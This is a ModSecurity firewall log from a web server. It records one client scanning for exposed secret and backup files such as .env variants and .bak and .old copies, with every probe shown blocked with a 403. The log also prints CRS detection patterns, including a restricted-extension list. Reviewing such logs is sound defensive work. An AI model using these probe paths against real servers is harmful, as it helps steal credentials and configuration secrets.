[Sun Nov 30 15:24:45.921427 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RwAAAAw&quot;]
[Sun Nov 30 15:24:46.146994 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.local&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SAAAAAw&quot;]
[Sun Nov 30 15:24:46.147242 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.local&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SAAAAAw&quot;]
[Sun Nov 30 15:24:46.147475 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.local&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SAAAAAw&quot;]
[Sun Nov 30 15:24:46.381127 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SQAAAAw&quot;]
[Sun Nov 30 15:24:46.381354 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SQAAAAw&quot;]
[Sun Nov 30 15:24:46.381580 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aSxTri6tRBnriPIR7Vg5SQAAAAw&quot;]
[Sun Nov 30 15:24:47.961745 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSxTry6tRBnriPIR7Vg5UAAAAAw&quot;]
[Sun Nov 30 15:24:47.961920 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSxTry6tRBnriPIR7Vg5UAAAAAw&quot;]
[Sun Nov 30 15:24:47.962128 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSxTry6tRBnriPIR7Vg5UAAAAAw&quot;]
[Sun Nov 30 15:24:47.962374 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSxTry6tRBnriPIR7Vg5UAAAAAw&quot;]
[Sun Nov 30 15:24:48.637534 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5UwAAAAw&quot;]
[Sun Nov 30 15:24:48.637711 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5UwAAAAw&quot;]
[Sun Nov 30 15:24:48.637914 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5UwAAAAw&quot;]
[Sun Nov 30 15:24:48.638124 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5UwAAAAw&quot;]
[Sun Nov 30 15:24:48.863333 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5VAAAAAw&quot;]
[Sun Nov 30 15:24:48.863690 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5VAAAAAw&quot;]
[Sun Nov 30 15:24:48.863937 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSxTsC6tRBnriPIR7Vg5VAAAAAw&quot;]
[Sun Nov 30 15:24:49.088134 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aSxTsS6tRBnriPIR7Vg5VQAAAAw&quot;]
[Sun Nov 30 15:24:49.088476 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aSxTsS6tRBnriPIR7Vg5VQAAAAw&quot;]
[Sun Nov 30 15:24:49.088686 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aSxTsS6tRBnriPIR7Vg5VQAAAAw&quot;]
[Sun Nov 30 15:24:50.668703 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSxTsi6tRBnriPIR7Vg5XAAAAAw&quot;]
[Sun Nov 30 15:24:50.668923 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSxTsi6tRBnriPIR7Vg5XAAAAAw&quot;]
[Sun Nov 30 15:24:50.669161 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aSxTsi6tRBnriPIR7Vg5XAAAAAw&quot;]
[Sun Nov 30 15:24:51.344478 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSxTsy6tRBnriPIR7Vg5XwAAAAw&quot;]
[Sun Nov 30 15:24:51.344646 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSxTsy6tRBnriPIR7Vg5XwAAAAw&quot;]
[Sun Nov 30 15:24:51.344872 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSxTsy6tRBnriPIR7Vg5XwAAAAw&quot;]
[Sun Nov 30 15:24:51.345093 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aSxTsy6tRBnriPIR7Vg5XwAAAAw&quot;]
[Sun Nov 30 15:24:52.029278 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aSxTtC6tRBnriPIR7Vg5YgAAAAw&quot;]
